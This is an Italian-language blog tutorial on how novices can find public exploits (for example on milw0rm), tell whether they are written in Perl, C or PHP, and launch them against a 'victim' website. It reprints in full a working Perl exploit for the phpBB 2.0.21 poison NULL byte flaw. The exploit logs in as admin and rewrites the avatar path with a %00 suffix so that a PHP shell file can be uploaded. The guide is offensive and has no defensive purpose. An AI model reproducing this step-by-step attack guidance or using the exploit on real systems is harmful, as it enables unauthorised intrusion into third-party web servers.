Come Lanciare un Exploit

Salve a tutti… oggi impareremo come si sfrutta un exploit…visto che su messenger ho fin troppa gente che rompe, la prossima volta gli dico di andare sul mio blog e leggersi questa guida 
cominciamo subito…

1 – OTTENIAMO UN EXPLOIT

Beh direi che il primo passo è fondamentale…sennò cosa facciamo, senza la base per il nostro howto? è bene ricordare che ci sono 2 tipi di exploit..

– public (exploit pubblici, molto probabilmente sono fixati e funzionano solo su vecchie versioni del sistema exploitato)
– 0day (exploit che non sono stati ancora resi noti e che vi permetteranno 9 su 10 di essere root per nel sistema exploitato)

P.S: con sistema intendo cms, so, webserver ecc…

un buon sito di exploit pubblici è www.milw0rm.com .basta andare su search e cercare il sistema che ci interessa, e troveremo una bella lista degli exploit disponibili…ad esempio, cerchiamo phpbb e avremo la lista di tutti gli exploit per phpbb e per le sue mod..ora non ci resta che trovare la versione…per esempio, il sito vittima ha la 2.0.21 o minore, allora prenderemo per esempio "phpBB <= 2.0.21 (Poison NULL Byte) Remote Exploit"..rinfreschiamoci la memoria con il significato dei simboli "<=" , che vogliono dire "minore o uguale". in caso di exploit specifico per una versione non avremo nessun simbolo ma solo il numero della versione. una volta che avremo l’exploit, copiamolo e incolliamolo in un file .txt sul nostro pc per studiarlo con calma…il primo passo è andato…

2 – RICONOSCERE IN COSA E’ STATO SCRITTO UN EXPLOIT

Eccoci ora alla seconda fase…una volta scaricato l’exploit e aperto, ci troveremo davanti questa cosa:

 

 

Codice:

 


#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
#
# Poison  NULL  byte vulnerability for perl CGI applications was described
# in  [1].  ShAnKaR  noted, that same vulnerability also affects different
# PHP  applications.  An  example of vulnerable applications are phpBB and
# punBB.
#
# Vulnerability  can  be  used  to  upload  or  replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
#
# In  case  of  phpBB and punBB vulnerability can be exploited by changing
# location  of avatar file and uploading avatar file with PHP code in EXIF
# data.
#
# A PoC exploit to change Avatar file location for phpBB:
#
#

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>’Mozilla/4.0 (compatible; Windows 5.1)’);
$ua->cookie_jar( HTTP::Cookies->new());

$url=’http://&#8217;.$ARGV[0].’/login.php’;
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request ‘POST’,$url;
$req->content_type(‘application/x-www-form-urlencoded’);
$req->content($data);
my $res = $ua->request($req);

$res=$ua->get(‘http://&#8217;.$ARGV[0].’/login.php’);
$content=$res->content;
$content=~ m/true&amp;sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url=’http://&#8217;.$ARGV[0].’/login.php’;
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request ‘POST’,$url;
$req->content_type(‘application/x-www-form-urlencoded’);
$req->content($data);
$res = $ua->request($req);

$url=’http://&#8217;.$ARGV[0].’/admin/admin_board.php?sid=’.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request ‘POST’,$url;
$req->content_type(‘application/x-www-form-urlencoded’);
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}

# milw0rm.com [2006-09-11]
 

questo è chiaramente un exploit scritto in perl. come facciamo a riconoscerli? abbiamo 3 tipologie comuni di exploit:

– perl: si riconosce perchè comincia con "#!/usr/bin/perl" o con "#c:\perl\lib" (quest’ultimo raramente)
– c/c++: si riconosce perchè comincia con degli include tipi della programmazione in c/c++, ad esempio:

 

 

Codice:

 

 

#include <stdio>
#include <stdlib>
#include <string>
 

– php: si riconosce perchè comincia con "<?php"

3 – LANCIARE L’EXPLOIT

a seconda del tipo di exploit faremo ora una cosa differente:

– perl: ci scarichiamo l’interprete perl a questo link http://www.activestate.com/Products/ActivePerl/ e lo installiamo in c:\Perl (consigliato). a questo punto prendiamo il nostro exploit, lo rinominiamo ad esempio net.pl e lo piazziamo nella cartella c:\Perl\bin. a questo punto non ci resta che fare Start -> Esegui -> cmd e digitare nella console cd c:\Perl\bin (per spostarci nella cartella dove c’è l’exploit) e digitare net.pl. a questo punto l’exploit sarà lanciato e a voi non rimarrà altro da fare che aspettare. vorrei però ricordare che ci sono altri 5 tipi di exploit:

– da "compilare": dovrete modificare il file .txt con i dati della vittima prima di rinominarlo in .pl

– compilati: al momento del lancio dell’exploit, anzichè scrivere solo net.pl, dovrete specificare i dati. un esempio: net.pl www.sito.com porta

– c/c++: dovremo scaricare un compilatore per c/c++, e inserire il codice nel campo del compilatore debitamente modificato con i dati della vittima. indi, dovremo cliccare su compila e il nostro bel programma, salvo errori, ci sputerà fuori un bel file .exe che dovremo semplicemente lanciare…

– php: dovremo rinominare il fil .txt in .php, e quindi upparlo su un server web e lanciarlo digitando il suo indirizzo nella barra degli indirizzi. anch’esso si divide in:

– compilati: al momento del lancio dell’exploit dovrete riempire i campi con i dati richiesti

4 – CONCLUSIONI

lanciare exploit, rispetto a farli, è una cazzata. quindi mi raccomando non andate in giro a fare i fighi "ho hackerato di qui" "ho hackerato di la" perchè essenzialmente dovreste dire "ho compilato l’exploit di qui" "ho compilato l’exploit di la"  per il resto è sempre buona regola leggere le info prima di eseguire l’exploit…che vi spiegheranno l’exploit nei particolari..